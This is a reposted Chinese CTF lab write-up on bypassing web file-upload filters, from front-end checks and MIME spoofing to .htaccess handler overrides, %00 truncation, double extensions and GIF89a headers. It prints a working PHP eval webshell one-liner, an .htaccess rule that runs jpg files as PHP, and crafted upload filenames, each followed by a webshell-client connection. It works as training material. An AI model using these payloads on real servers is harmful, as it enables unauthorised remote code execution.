IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFHub技能树 Web-文件上传 详解 -> 正文阅读

[PHP知识库]CTFHub技能树 Web-文件上传 详解

目录

无验证

前端验证

.htaccess

MIME绕过

00截断

双写后缀

?文件头检查


无验证

启动环境

?我们上传一句话木马

<?php @eval($_POST['shell']);?>

?

提示了相对路径, 我们直接使用蚁剑连接。

找到flag。

?前端验证

上传php文件,前端校验不允许上传php文件

审计代码,只允许上传图片类型

?我们先将后缀改为 .jpg 上传成功

?

再通过burp抓包,修改filename="1.php"和Content-Type: php

发送数据包,页面显示上传成功

?

?使用蚁剑连接

成功找到flag

?

?.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

?我们先上传??.htaccess 文件

<FilesMatch "jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

上传成功,它会将我们上传的 jpg 文件解析成php文件

上传图片码 1.jpg

<?php @eval($_POST['shell']);?>

?

?使用蚁剑连接。

成功找到flag?

MIME绕过

MIME (多用途互联网邮件扩展类型)

我们尝试上传php文件,提示我们文件类型不对,而我们前端做验证的时候提示的是该文件不允许上传。说明不是根据我们的文件后缀做的过滤。

?我们抓包将Content-Type修改为 image/jpg, 发送数据包

?上传成功!

蚁剑连接

?找到flag

?

00截断

了解一下 PHP 5.2 00截断上传的原理

不明白00截断原理的兄弟姐妹们,可以查看下面的文章,文章很详细很清楚的为我们讲解了00截断的原理。

文件上传之00截断分析

审计代码

 $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;

????????它会将我们上传的文件重命名,所得到的路径是GET[‘road’]+随机数+日期+前面获得的后缀名,这显然不太好,不知道文件路径就连不上木马了。所以我们要对road也进行一定的处理。

尝试上传php文件

?我们burp抓包

?filename="1.php%001.jpg"

/?road=/var/www/html/upload/1.php%001.jpg

在road后添加上1.php%001.jpgroad 就会使后面部分失去效果,上传后的路径即被固定,可以使用蚁剑进行连接。

?发送数据包,页面显示上传成功!

?蚁剑连接,因为我们修改了road,所以路径就是/upload/1.php

/upload/1.php

找到flag?

双写后缀

启动环境分析源码

这里使用str_ireplace() 函数将我们的后缀替换成了空,但是只替换一次,双写绕过

?1.pphphp

上传成功 我们看到文件后缀为php

?

?依旧使用蚁剑连接获得flag

?文件头检查

我们上传php文件,进行抓包,Content-Type修改为图片类型 image/jpe

再在文件内容首部添加 GIF89a 表示是一个GIF89a图形文件

?发送数据包

上传成功,使用蚁剑连接获取flag

?

文件上传 完结!!!

剩余技能上线后会持续更新。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-16 18:37:48  更:2021-11-16 18:37:52 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 19:20:14-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码